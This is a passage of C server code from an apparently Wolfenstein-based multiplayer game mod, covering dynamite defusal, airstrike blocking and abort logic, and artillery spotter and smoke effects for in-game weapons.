hit->spawnflags &= ~OBJECTIVE_DESTROYED; // "re-activate" objective since it wasn't destroyed. kludgy, I know; see G_ExplodeMissile for the other half
}
trap_SendServerCommand(-1, va("cp \"Dynamite defused near %s!\n\"2",hit->track));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Dynamite defused near %s!\n\" 2",GetLevelTime(),hit->track));
traceEnt->s.eventParm = G_SoundIndex( "sound/multiplayer/axis/g-dynamite_defused.wav" );
traceEnt->s.teamNum = TEAM_RED;
#ifdef OMNIBOT
if(hit) {
G_Script_ScriptEvent( hit, "defused", "" );
}
#endif
}
else { // TEAM_BLUE
if ((hit->spawnflags & ALLIED_OBJECTIVE) && (!scored)) {
AddScore(ent,WOLF_DYNAMITE_DIFFUSE);
scored++;
hit->spawnflags &= ~OBJECTIVE_DESTROYED; // "re-activate" objective since it wasn't destroyed
}
trap_SendServerCommand(-1, va("cp \"Dynamite defused near %s!\n\"2",hit->track));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Dynamite defused near %s!\n\" 2",GetLevelTime(),hit->track));
traceEnt->s.eventParm = G_SoundIndex( "sound/multiplayer/allies/a-dynamite_defused.wav" );
traceEnt->s.teamNum = TEAM_BLUE;
#ifdef OMNIBOT
if(hit) {
G_Script_ScriptEvent( hit, "defused", "" );
}
#endif
}
}
}
}
// jpw
}
}
}
}
// JPW NERVE -- launch airstrike as line of bombs mostly-perpendicular to line of grenade travel
// (close air support should *always* drop parallel to friendly lines, tho accidents do happen)
extern void G_ExplodeMissile( gentity_t *ent );
void G_AirStrikeExplode( gentity_t *self ) {
self->r.svFlags &= ~SVF_NOCLIENT;
self->r.svFlags |= SVF_BROADCAST;
self->think = G_ExplodeMissile;
self->nextthink = level.time + 50;
}
#define NUMBOMBS 10
#define BOMBSPREAD 150
extern void G_SayTo( gentity_t *ent, gentity_t *other, int mode, int color, const char *name, const char *message, qboolean localize );
void weapon_callAirStrike(gentity_t *ent) {
int i, num, touch[MAX_GENTITIES]; // ETPUB - added num, touch
vec3_t bombaxis, lookaxis, pos, bomboffset, fallaxis, temp, origin, mins, maxs; // ETPUB - added origin, mins, maxs
gentity_t *bomb,*te, *traceEnt; // ETPUB added traceEnt
trace_t tr;
float traceheight, bottomtraceheight;
int AScount=ent->count2;
VectorCopy(ent->s.pos.trBase,bomboffset);
bomboffset[2] += 4096;
// turn off smoke grenade or set next a/s time
if(AScount){
ent->think=weapon_callAirStrike;
ent->nextthink = level.time+2000;
ent->count2--;
}else{
ent->think = G_ExplodeMissile;
ent->nextthink = level.time + 950 + NUMBOMBS*100 + crandom()*50; // 3000 offset is for aircraft flyby
}
// ABORTING CODE
if (g_ASBlockEasy.integer){ // ETPUB rip
VectorCopy( ent->r.currentOrigin, origin );
SnapVector( origin );
VectorAdd( origin, tv(-8.f,-8.f,-8.f), mins );
VectorAdd( origin, tv(8.f,8.f,8.f), maxs );
num = trap_EntitiesInBox( mins, maxs, touch, MAX_GENTITIES );;
for(i=0; i<num; i++) {
traceEnt = &g_entities[touch[i]];
if(traceEnt->client) {
if(!ent->count2&&!ent->count3){
G_SayTo( ent->parent, ent->parent, 2, COLOR_YELLOW, "Pilot: ", "Aborting, can't see target.", qtrue );
//S4NDM4NN-tell it to die if its first a/s
ent->think = G_ExplodeMissile;
ent->nextthink = level.time + 950 + NUMBOMBS*100 + crandom()*50;
if ( ent->parent->client->sess.sessionTeam == TEAM_BLUE ) {
te = G_TempEntity( ent->parent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/allies/a-aborting.wav");
te->s.teamNum = ent->parent->s.clientNum;
}
else {
te = G_TempEntity( ent->parent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/axis/g-aborting.wav");
te->s.teamNum = ent->parent->s.clientNum;
}
}
if (g_ASBlock.integer & 1){
// its ALWAYS going to be a client if we get in here
//if ((traceEnt.entityNum >= 0) && (traceEnt.entityNum < MAX_CLIENTS) && (g_entities[traceEnt.entityNum].inuse)){
trap_SendServerCommand(-1, va("print \"%s ^7blocked an airstrike\n\"", traceEnt->client->pers.netname));
trap_SendServerCommand(traceEnt->client->ps.clientNum, va("cp \"You blocked an airstrike!\n\""));
//}
}else if (g_ASBlock.integer & 2){
//if ((traceEnt.entityNum >= 0) && (traceEnt.entityNum < MAX_CLIENTS) && (g_entities[traceEnt.entityNum].inuse)){
trap_SendServerCommand(traceEnt->client->ps.clientNum, va("cp \"You blocked an airstrike!\n\""));
//red team
if (traceEnt->client->sess.sessionTeam == TEAM_RED)
G_TeamCommand( TEAM_RED, va("print \"%s ^7blocked an airstrike\n\"", traceEnt->client->pers.netname));
//Blue team
if (traceEnt->client->sess.sessionTeam == TEAM_BLUE)
G_TeamCommand( TEAM_BLUE, va("print \"%s ^7blocked an airstrike\n\"", traceEnt->client->pers.netname));
//}
}
return;
}
}
}
// END ETPUB
// Stock Abort/block code
trap_Trace(&tr, ent->s.pos.trBase, NULL, NULL, bomboffset, ent->s.number, MASK_SHOT);
if ((tr.fraction < 1.0) && (!(tr.surfaceFlags & SURF_NOIMPACT)) ) { //SURF_SKY)) ) { // JPW NERVE changed for trenchtoast foggie prollem
if(!ent->count2&&!ent->count3){
G_SayTo( ent->parent, ent->parent, 2, COLOR_YELLOW, "Pilot: ", "Aborting, can't see target.", qtrue );
//S4NDM4NN-tell it to die if its first a/s
ent->think = G_ExplodeMissile;
ent->nextthink = level.time + 950 + NUMBOMBS*100 + crandom()*50;
if ( ent->parent->client->sess.sessionTeam == TEAM_BLUE ) {
te = G_TempEntity( ent->parent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/allies/a-aborting.wav");
te->s.teamNum = ent->parent->s.clientNum;
}else {
te = G_TempEntity( ent->parent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/axis/g-aborting.wav");
te->s.teamNum = ent->parent->s.clientNum;
}
}
if (g_ASBlock.integer & 1){
if ((tr.entityNum >= 0) && (tr.entityNum < MAX_CLIENTS) && (g_entities[tr.entityNum].inuse)){
trap_SendServerCommand(-1, va("print \"%s ^7blocked an airstrike\n\"", g_entities[tr.entityNum].client->pers.netname));
trap_SendServerCommand(tr.entityNum, va("cp \"You blocked an airstrike!\n\""));
}
}else if (g_ASBlock.integer & 2){
if ((tr.entityNum >= 0) && (tr.entityNum < MAX_CLIENTS) && (g_entities[tr.entityNum].inuse)){
trap_SendServerCommand(tr.entityNum, va("cp \"You blocked an airstrike!\n\""));
//red team
if (g_entities[tr.entityNum].client->sess.sessionTeam == TEAM_RED)
G_TeamCommand( TEAM_RED, va("print \"%s ^7blocked an airstrike\n\"", g_entities[tr.entityNum].client->pers.netname));
//Blue team
if (g_entities[tr.entityNum].client->sess.sessionTeam == TEAM_BLUE)
G_TeamCommand( TEAM_BLUE, va("print \"%s ^7blocked an airstrike\n\"", g_entities[tr.entityNum].client->pers.netname));
}
}
return;
}
if(!ent->count2&&!ent->count3){
if ( ent->parent->client->sess.sessionTeam == TEAM_BLUE ) {
te = G_TempEntity( ent->parent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/allies/a-affirmative_omw.wav");
te->s.teamNum = ent->parent->s.clientNum;
}
else {
te = G_TempEntity( ent->parent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/axis/g-affirmative_omw.wav");
te->s.teamNum = ent->parent->s.clientNum;
}
}
ent->count3++;
VectorCopy(tr.endpos, bomboffset);
traceheight = bomboffset[2];
bottomtraceheight = traceheight-8192;
VectorSubtract(ent->s.pos.trBase,ent->parent->client->ps.origin,lookaxis);
lookaxis[2] = 0;
VectorNormalize(lookaxis);
pos[0] = 0;
pos[1] = 0;
pos[2] = crandom(); // generate either up or down vector,
VectorNormalize(pos); // which adds randomness to pass direction below
RotatePointAroundVector(bombaxis,pos,lookaxis,90+crandom()*30); // munge the axis line a bit so it's not totally perpendicular
VectorNormalize(bombaxis);
VectorCopy(bombaxis,pos);
VectorScale(pos,(float)(-0.5f*BOMBSPREAD*NUMBOMBS),pos);
VectorAdd(ent->s.pos.trBase, pos, pos); // first bomb position
VectorScale(bombaxis,BOMBSPREAD,bombaxis); // bomb drop direction offset
// add an aircraft (looks suspiciously like a rocket right now) (but doesn't work)
/*
bomb = G_Spawn();
bomb->nextthink = level.time + 26000;
bomb->think = G_ExplodeMissile;
bomb->s.eType = ET_MISSILE;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN | SVF_BROADCAST;
bomb->s.weapon = WP_GRENADE_LAUNCHER; // might wanna change this
bomb->r.ownerNum = ent->s.number;
bomb->parent = ent->parent;
bomb->damage = 400; // maybe should un-hard-code these?
bomb->splashDamage = 400;
bomb->classname = "fighterbomber";
bomb->splashRadius = 400;
bomb->methodOfDeath = MOD_DYNAMITE; // FIXME add MOD for air strike
bomb->splashMethodOfDeath = MOD_DYNAMITE_SPLASH;
bomb->clipmask = MASK_MISSILESHOT;
bomb->s.pos.trType = TR_STATIONARY; // TR_LINEAR;
bomb->s.pos.trTime = level.time;
VectorCopy(ent->s.pos.trBase, bomb->s.pos.trBase);
bomb->s.pos.trBase[2] += 200;
bomb->s.modelindex = G_ModelIndex( "models/mapobjects/vehicles/m109.md3" );
*/
if(g_SpamWar.integer){
for (i=0;i<30;i++) {
bomb = G_Spawn();
bomb->nextthink = level.time + i*100+crandom()*50 + 1000; // 1000 for aircraft flyby, other term for tumble stagger
bomb->think = G_AirStrikeExplode;
bomb->s.eType = ET_MISSILE;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN | SVF_NOCLIENT;
bomb->s.weapon = WP_ARTY; // might wanna change this
bomb->r.ownerNum = ent->s.number;
bomb->parent = ent->parent;
bomb->damage = 400; // maybe should un-hard-code these?
bomb->splashDamage = 400;
bomb->classname = "air strike";
bomb->splashRadius = 400;
bomb->methodOfDeath = MOD_AIRSTRIKE;
bomb->splashMethodOfDeath = MOD_AIRSTRIKE;
bomb->clipmask = MASK_MISSILESHOT;
bomb->s.pos.trType = TR_STATIONARY; // was TR_GRAVITY, might wanna go back to this and drop from height
//bomb->s.pos.trTime = level.time; // move a bit on the very first frame
bomboffset[0] = crandom()*0.5*BOMBSPREAD;
bomboffset[1] = crandom()*0.5*BOMBSPREAD;
bomboffset[2] = 0;
VectorAdd(pos,bomboffset,bomb->s.pos.trBase);
VectorCopy(bomb->s.pos.trBase,bomboffset); // make sure bombs fall "on top of" nonuniform scenery
bomboffset[2] = traceheight;
VectorCopy(bomboffset, fallaxis);
fallaxis[2] = bottomtraceheight;
trap_Trace(&tr, bomboffset, NULL, NULL, fallaxis, ent->s.number, MASK_SHOT);
if (tr.fraction != 1.0)
VectorCopy(tr.endpos,bomb->s.pos.trBase);
VectorClear( bomb->s.pos.trDelta );
// Snap origin!
VectorCopy( bomb->s.pos.trBase, temp );
temp[2] += 2.f;
SnapVectorTowards( bomb->s.pos.trBase, temp ); // save net bandwidth
VectorCopy (bomb->s.pos.trBase, bomb->r.currentOrigin);
// move pos for next bomb
VectorAdd(pos,bombaxis,pos);
}
}else{
for (i=0;i<NUMBOMBS;i++) {
bomb = G_Spawn();
bomb->nextthink = level.time + i*100+crandom()*50 + 1000; // 1000 for aircraft flyby, other term for tumble stagger
bomb->think = G_AirStrikeExplode;
bomb->s.eType = ET_MISSILE;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN | SVF_NOCLIENT;
bomb->s.weapon = WP_ARTY; // might wanna change this
bomb->r.ownerNum = ent->s.number;
bomb->parent = ent->parent;
bomb->damage = 400; // maybe should un-hard-code these?
bomb->splashDamage = 400;
bomb->classname = "air strike";
bomb->splashRadius = 400;
bomb->methodOfDeath = MOD_AIRSTRIKE;
bomb->splashMethodOfDeath = MOD_AIRSTRIKE;
bomb->clipmask = MASK_MISSILESHOT;
bomb->s.pos.trType = TR_STATIONARY; // was TR_GRAVITY, might wanna go back to this and drop from height
//bomb->s.pos.trTime = level.time; // move a bit on the very first frame
bomboffset[0] = crandom()*0.5*BOMBSPREAD;
bomboffset[1] = crandom()*0.5*BOMBSPREAD;
bomboffset[2] = 0;
VectorAdd(pos,bomboffset,bomb->s.pos.trBase);
VectorCopy(bomb->s.pos.trBase,bomboffset); // make sure bombs fall "on top of" nonuniform scenery
bomboffset[2] = traceheight;
VectorCopy(bomboffset, fallaxis);
fallaxis[2] = bottomtraceheight;
trap_Trace(&tr, bomboffset, NULL, NULL, fallaxis, ent->s.number, MASK_SHOT);
if (tr.fraction != 1.0)
VectorCopy(tr.endpos,bomb->s.pos.trBase);
VectorClear( bomb->s.pos.trDelta );
// Snap origin!
VectorCopy( bomb->s.pos.trBase, temp );
temp[2] += 2.f;
SnapVectorTowards( bomb->s.pos.trBase, temp ); // save net bandwidth
VectorCopy (bomb->s.pos.trBase, bomb->r.currentOrigin);
// move pos for next bomb
VectorAdd(pos,bombaxis,pos);
}
}
}
// JPW NERVE -- sound effect for spotter round, had to do this as half-second bomb warning
void artilleryThink_real( gentity_t *ent ) {
ent->freeAfterEvent = qtrue;
trap_LinkEntity(ent);
G_AddEvent( ent, EV_GENERAL_SOUND, G_SoundIndex( "sound/multiplayer/artillery_01.wav" ));
}
void artilleryThink( gentity_t *ent ) {
ent->think = artilleryThink_real;
ent->nextthink = level.time + 100;
ent->r.svFlags = SVF_USE_CURRENT_ORIGIN | SVF_BROADCAST;
}
// JPW NERVE -- makes smoke disappear after a bit (just unregisters stuff)
void artilleryGoAway(gentity_t *ent) {
ent->freeAfterEvent = qtrue;
trap_LinkEntity(ent);
}
// JPW NERVE -- generates some smoke debris
void artillerySpotterThink( gentity_t *ent ) {
gentity_t *bomb;
vec3_t tmpdir;
int i;
ent->think = G_ExplodeMissile;
ent->nextthink = level.time + 1;
SnapVector( ent->s.pos.trBase );
for (i=0;i<7;i++) {
bomb = G_Spawn();
bomb->s.eType = ET_MISSILE;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN;
bomb->r.ownerNum = ent->s.number;
bomb->parent = ent;
bomb->nextthink = level.time + 1000+random()*300;
bomb->classname = "WP"; // WP == White Phosphorous, so we can check for bounce noise in grenade bounce routine
bomb->damage = 000; // maybe should un-hard-code these?
bomb->splashDamage = 000;
bomb->splashRadius = 000;
bomb->s.weapon = WP_SMOKETRAIL;
bomb->think = artilleryGoAway;
bomb->s.eFlags |= EF_BOUNCE;
bomb->clipmask = MASK_MISSILESHOT;
bomb->s.pos.trType = TR_GRAVITY; // was TR_GRAVITY, might wanna go back to this and drop from height
bomb->s.pos.trTime = level.time; // move a bit on the very first frame
bomb->s.otherEntityNum2 = ent->s.otherEntityNum2;
VectorCopy(ent->s.pos.trBase,bomb->s.pos.trBase);
tmpdir[0] = crandom();
tmpdir[1] = crandom();
tmpdir[2] = 1;
VectorNormalize(tmpdir);
tmpdir[2] = 1; // extra up
VectorScale(tmpdir,500+random()*500,tmpdir);
VectorCopy(tmpdir,bomb->s.pos.trDelta);
SnapVector( bomb->s.pos.trDelta ); // save net bandwidth
VectorCopy(ent->s.pos.trBase,bomb->s.pos.trBase);
VectorCopy(ent->s.pos.trBase,bomb->r.currentOrigin);
}
}
// JPW NERVE
//S4NDM4NN- for sniper mode
void SM_artillerySpotterThink( gentity_t *ent ) {
gentity_t *bomb;
vec3_t tmpdir;
int i;
ent->think = G_ExplodeMissile;
ent->nextthink = level.time + 1;
SnapVector( ent->s.pos.trBase );
if (g_SpamWar.integer){
for (i=0;i<10;i++) {//was 7
bomb = G_Spawn();
bomb->s.eType = ET_MISSILE;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN;
bomb->r.ownerNum = ent->s.number;
bomb->parent = ent;
//bomb->nextthink = level.time + 1000+random()*300;
bomb->nextthink = level.time +(2*1000);// 5000;//+random()*300;
bomb->classname = "WP"; // WP == White Phosphorous, so we can check for bounce noise in grenade bounce routine
bomb->damage = 000; // maybe should un-hard-code these?
bomb->splashDamage = 000;
bomb->splashRadius = 000;
bomb->s.weapon = WP_SMOKETRAIL;
bomb->think = artilleryGoAway;
bomb->s.eFlags |= EF_BOUNCE;
bomb->s.eFlags |= EF_SMOKINGBLACK;
bomb->clipmask = MASK_MISSILESHOT;
bomb->s.pos.trType = TR_GRAVITY; // was TR_GRAVITY, might wanna go back to this and drop from height
bomb->s.pos.trTime = level.time; // move a bit on the very first frame
bomb->s.otherEntityNum2 = 1;
VectorCopy(ent->s.pos.trBase,bomb->s.pos.trBase);
tmpdir[0] = crandom();
tmpdir[1] = crandom();
tmpdir[2] = 1;
VectorNormalize(tmpdir);
tmpdir[2] = 1; // extra up
VectorScale(tmpdir,500+random()*500,tmpdir);
VectorCopy(tmpdir,bomb->s.pos.trDelta);
SnapVector( bomb->s.pos.trDelta ); // save net bandwidth
VectorCopy(ent->s.pos.trBase,bomb->s.pos.trBase);
VectorCopy(ent->s.pos.trBase,bomb->r.currentOrigin);
}
for (i=0;i<10;i++) {//was 7
bomb = G_Spawn();
bomb->s.eType = ET_MISSILE;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN;
bomb->r.ownerNum = ent->s.number;
bomb->parent = ent;
//bomb->nextthink = level.time + 1000+random()*300;
bomb->nextthink = level.time +(2*1000);// 5000;//+random()*300;
bomb->classname = "WP"; // WP == White Phosphorous, so we can check for bounce noise in grenade bounce routine
bomb->damage = 000; // maybe should un-hard-code these?
bomb->splashDamage = 000;
bomb->splashRadius = 000;
bomb->s.weapon = WP_SMOKETRAIL;
bomb->think = artilleryGoAway;
bomb->s.eFlags |= EF_BOUNCE;
bomb->s.eFlags |= EF_SMOKINGBLACK;
bomb->clipmask = MASK_MISSILESHOT;
bomb->s.pos.trType = TR_GRAVITY; // was TR_GRAVITY, might wanna go back to this and drop from height
bomb->s.pos.trTime = level.time; // move a bit on the very first frame
bomb->s.otherEntityNum2 = 0;
VectorCopy(ent->s.pos.trBase,bomb->s.pos.trBase);
tmpdir[0] = crandom();
tmpdir[1] = crandom();
tmpdir[2] = 1;
VectorNormalize(tmpdir);
tmpdir[2] = 1; // extra up
VectorScale(tmpdir,500+random()*500,tmpdir);
VectorCopy(tmpdir,bomb->s.pos.trDelta);
SnapVector( bomb->s.pos.trDelta ); // save net bandwidth
VectorCopy(ent->s.pos.trBase,bomb->s.pos.trBase);
VectorCopy(ent->s.pos.trBase,bomb->r.currentOrigin);
}
}else{
for (i=0;i<4;i++) {//was 7
bomb = G_Spawn();
bomb->s.eType = ET_MISSILE;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN;
bomb->r.ownerNum = ent->s.number;
bomb->parent = ent;
//bomb->nextthink = level.time + 1000+random()*300;
bomb->nextthink = level.time +(2*1000);// 5000;//+random()*300;
bomb->classname = "WP"; // WP == White Phosphorous, so we can check for bounce noise in grenade bounce routine
bomb->damage = 000; // maybe should un-hard-code these?
bomb->splashDamage = 000;
bomb->splashRadius = 000;
bomb->s.weapon = WP_SMOKETRAIL;
bomb->think = artilleryGoAway;
bomb->s.eFlags |= EF_BOUNCE;
bomb->s.eFlags |= EF_SMOKINGBLACK;
bomb->clipmask = MASK_MISSILESHOT;
bomb->s.pos.trType = TR_GRAVITY; // was TR_GRAVITY, might wanna go back to this and drop from height
bomb->s.pos.trTime = level.time; // move a bit on the very first frame
bomb->s.otherEntityNum2 = 1;
VectorCopy(ent->s.pos.trBase,bomb->s.pos.trBase);
tmpdir[0] = crandom();
tmpdir[1] = crandom();
tmpdir[2] = 1;
VectorNormalize(tmpdir);
tmpdir[2] = 1; // extra up
VectorScale(tmpdir,500+random()*500,tmpdir);
VectorCopy(tmpdir,bomb->s.pos.trDelta);
SnapVector( bomb->s.pos.trDelta ); // save net bandwidth
VectorCopy(ent->s.pos.trBase,bomb->s.pos.trBase);
VectorCopy(ent->s.pos.trBase,bomb->r.currentOrigin);
}
for (i=0;i<4;i++) {//was 7
bomb = G_Spawn();
bomb->s.eType = ET_MISSILE;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN;
bomb->r.ownerNum = ent->s.number;
bomb->parent = ent;
//bomb->nextthink = level.time + 1000+random()*300;
bomb->nextthink = level.time +(2*1000);// 5000;//+random()*300;
bomb->classname = "WP"; // WP == White Phosphorous, so we can check for bounce noise in grenade bounce routine
bomb->damage = 000; // maybe should un-hard-code these?
bomb->splashDamage = 000;
bomb->splashRadius = 000;
bomb->s.weapon = WP_SMOKETRAIL;
bomb->think = artilleryGoAway;
bomb->s.eFlags |= EF_BOUNCE;
bomb->s.eFlags |= EF_SMOKINGBLACK;
bomb->clipmask = MASK_MISSILESHOT;
bomb->s.pos.trType = TR_GRAVITY; // was TR_GRAVITY, might wanna go back to this and drop from height
bomb->s.pos.trTime = level.time; // move a bit on the very first frame
bomb->s.otherEntityNum2 = 0;
VectorCopy(ent->s.pos.trBase,bomb->s.pos.trBase);
tmpdir[0] = crandom();
tmpdir[1] = crandom();
tmpdir[2] = 1;
VectorNormalize(tmpdir);
tmpdir[2] = 1; // extra up
VectorScale(tmpdir,500+random()*500,tmpdir);
VectorCopy(tmpdir,bomb->s.pos.trDelta);
SnapVector( bomb->s.pos.trDelta ); // save net bandwidth
VectorCopy(ent->s.pos.trBase,bomb->s.pos.trBase);
VectorCopy(ent->s.pos.trBase,bomb->r.currentOrigin);
}
}
}
/*
==================
SM_Weapon_Artillery
==================
*/
void SM_Weapon_Artillery(gentity_t *ent) {
trace_t trace;
int i=0;
vec3_t muzzlePoint,end,bomboffset,pos,fallaxis;
float traceheight, bottomtraceheight;
gentity_t *bomb,*bomb2,*te;
if (level.time - ent->client->ps.classWeaponTime <= g_LTChargeTime.integer){
trap_SendServerCommand( ent-g_entities, "cp \"^2You must have full charge for this!\" 1");
return;
}
AngleVectors (ent->client->ps.viewangles, forward, right, up);
VectorCopy( ent->r.currentOrigin, muzzlePoint );
muzzlePoint[2] += ent->client->ps.viewheight;
VectorMA (muzzlePoint, 8192, forward, end);
trap_Trace (&trace, muzzlePoint, NULL, NULL, end, ent->s.number, MASK_SHOT);
if (trace.surfaceFlags & SURF_NOIMPACT)
return;
VectorCopy(trace.endpos,pos);
VectorCopy(pos,bomboffset);
bomboffset[2] += 4096;
trap_Trace(&trace, pos, NULL, NULL, bomboffset, ent->s.number, MASK_SHOT);
G_SayTo( ent, ent, 2, COLOR_YELLOW, "Fire Mission: ", "Firing flair!", qtrue );
if ( ent->client->sess.sessionTeam == TEAM_BLUE ) {
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/allies/a-firing.wav");
te->s.teamNum = ent->s.clientNum;
}
else {
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/axis/g-firing.wav");
te->s.teamNum = ent->s.clientNum;
}
VectorCopy(trace.endpos, bomboffset);
traceheight = bomboffset[2];
bottomtraceheight = traceheight-8192;
// "spotter" round (i == 0)
// i == 1->4 is regular explosives
i=0;
bomb = G_Spawn();
bomb->think = G_AirStrikeExplode;
bomb->s.eType = ET_MISSILE;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN | SVF_NOCLIENT;
bomb->s.weapon = WP_ARTY; // might wanna change this
bomb->r.ownerNum = ent->s.number;
bomb->parent = ent;
/*
if (i == 0) {
bomb->nextthink = level.time + 4500;
bomb->think = artilleryThink;
}
*/
if (i == 0) {
bomb->nextthink = level.time + 5000;
bomb->r.svFlags = SVF_USE_CURRENT_ORIGIN | SVF_BROADCAST;
bomb->classname = "props_explosion"; // was "air strike"
bomb->damage = 0; // maybe should un-hard-code these?
bomb->splashDamage = 90;
bomb->splashRadius = 50;
// bomb->s.weapon = WP_SMOKE_GRENADE;
// TTimo ambiguous else
if (ent->client != NULL) // set team color on smoke
{
if (ent->client->sess.sessionTeam == TEAM_RED) // store team so we can generate red or blue smoke
bomb->s.otherEntityNum2 = 1;
else
bomb->s.otherEntityNum2 = 0;
}
bomb->think = SM_artillerySpotterThink;
}
else {
bomb->nextthink = level.time + 8950 + 2000 * i + crandom()*800;
bomb->classname = "air strike";
bomb->damage = 0;
bomb->splashDamage = 400;
bomb->splashRadius = 400;
}
//bomb->methodOfDeath = MOD_AIRSTRIKE;
//bomb->splashMethodOfDeath = MOD_AIRSTRIKE; //airstrikeFix
bomb->methodOfDeath = MOD_ARTILLERY;
bomb->splashMethodOfDeath = MOD_ARTILLERY;
bomb->clipmask = MASK_MISSILESHOT;
bomb->s.pos.trType = TR_STATIONARY; // was TR_GRAVITY, might wanna go back to this and drop from height
bomb->s.pos.trTime = level.time; // move a bit on the very first frame
if (i) { // spotter round is always dead on (OK, unrealistic but more fun)
bomboffset[0] = crandom()*250;
bomboffset[1] = crandom()*250;
}
else {
bomboffset[0] = 0; // was 0; changed per id request to prevent spotter round assassinations
bomboffset[1] = 0;
}
bomboffset[2] = 0;
VectorAdd(pos,bomboffset,bomb->s.pos.trBase);
VectorCopy(bomb->s.pos.trBase,bomboffset); // make sure bombs fall "on top of" nonuniform scenery
bomboffset[2] = traceheight;
VectorCopy(bomboffset, fallaxis);
fallaxis[2] = bottomtraceheight;
trap_Trace(&trace, bomboffset, NULL, NULL, fallaxis, ent->s.number, MASK_SHOT);
if (trace.fraction != 1.0)
VectorCopy(trace.endpos,bomb->s.pos.trBase);
bomb->s.pos.trDelta[0] = 0; // might need to change this
bomb->s.pos.trDelta[1] = 0;
bomb->s.pos.trDelta[2] = 0;
SnapVector( bomb->s.pos.trDelta ); // save net bandwidth
VectorCopy (bomb->s.pos.trBase, bomb->r.currentOrigin);
// build arty falling sound effect in front of bomb drop
bomb2 = G_Spawn();
bomb2->think = artilleryThink;
bomb2->s.eType = ET_MISSILE;
bomb2->r.svFlags = SVF_USE_CURRENT_ORIGIN | SVF_NOCLIENT;
bomb2->r.ownerNum = ent->s.number;
bomb2->parent = ent;
bomb2->damage = 0;
bomb2->nextthink = bomb->nextthink-600;
bomb2->classname = "air strike";
bomb2->clipmask = MASK_MISSILESHOT;
bomb2->s.pos.trType = TR_STATIONARY; // was TR_GRAVITY, might wanna go back to this and drop from height
bomb2->s.pos.trTime = level.time; // move a bit on the very first frame
VectorCopy(bomb->s.pos.trBase,bomb2->s.pos.trBase);
VectorCopy(bomb->s.pos.trDelta,bomb2->s.pos.trDelta);
VectorCopy(bomb->s.pos.trBase,bomb2->r.currentOrigin);
ent->client->ps.classWeaponTime = level.time;
#ifdef OMNIBOT
Bot_Event_FireWeapon(ent-g_entities, Bot_WeaponGameToBot(WP_ARTY), 0);
#endif
}
/*
==================
Weapon_Artillery
==================
*/
void Weapon_Artillery(gentity_t *ent) {
trace_t trace;
int i=0;
int bombNum;
vec3_t muzzlePoint,end,bomboffset,pos,fallaxis;
float traceheight, bottomtraceheight;
gentity_t *bomb,*bomb2,*te;
if (ent->client->ps.stats[STAT_PLAYER_CLASS] != PC_LT && g_deathmatch.integer !=2) {
return;
}
if (level.time - ent->client->ps.classWeaponTime > g_LTChargeTime.integer) {
AngleVectors (ent->client->ps.viewangles, forward, right, up);
VectorCopy( ent->r.currentOrigin, muzzlePoint );
muzzlePoint[2] += ent->client->ps.viewheight;
VectorMA (muzzlePoint, 8192, forward, end);
trap_Trace (&trace, muzzlePoint, NULL, NULL, end, ent->s.number, MASK_SHOT);
if (trace.surfaceFlags & SURF_NOIMPACT)
return;
VectorCopy(trace.endpos,pos);
VectorCopy(pos,bomboffset);
bomboffset[2] += 4096;
trap_Trace(&trace, pos, NULL, NULL, bomboffset, ent->s.number, MASK_SHOT);
if ((trace.fraction < 1.0) && (!(trace.surfaceFlags & SURF_NOIMPACT)) ) { // JPW NERVE was SURF_SKY)) ) {
G_SayTo( ent, ent, 2, COLOR_YELLOW, "Fire Mission: ", "Aborting, can't see target.", qtrue );
if ( ent->client->sess.sessionTeam == TEAM_BLUE ) {
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/allies/a-art_abort.wav");
te->s.teamNum = ent->s.clientNum;
}
else {
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/multiplayer/axis/g-art_abort.wav");
te->s.teamNum = ent->s.clientNum;
}
return;
}
if(g_maxAirstrikes.integer >= 0){
if (!isAirstrikeAvailable(ent)){
int cost = 60000 / g_maxAirstrikes.integer;
if ( ent->client->sess.sessionTeam == TEAM_BLUE ) {
int airAvailable = ((level.alliedAirstrikeCounter + cost) - 60000) / 1000;
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/allies/artdenied.wav");
te->s.teamNum = ent->s.clientNum;
trap_SendServerCommand(ent-g_entities, va("chat \"Fire Mission: ^3Insufficient fire support. Artillery available in %i seconds\"", airAvailable));
}
if ( ent->client->sess.sessionTeam == TEAM_RED ) {
int airAvailable = ((level.axisAirstrikeCounter + cost) - 60000) / 1000;
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex("sound/player/axis/artdenied.wav");
te->s.teamNum = ent->s.clientNum;
trap_SendServerCommand(ent-g_entities, va("chat \"Fire Mission: ^3Insufficient fire support. Artillery available in %i seconds\"", airAvailable));
}
return; // Artillery is not available at this time
}
if( ent->client->sess.sessionTeam == TEAM_RED ) {
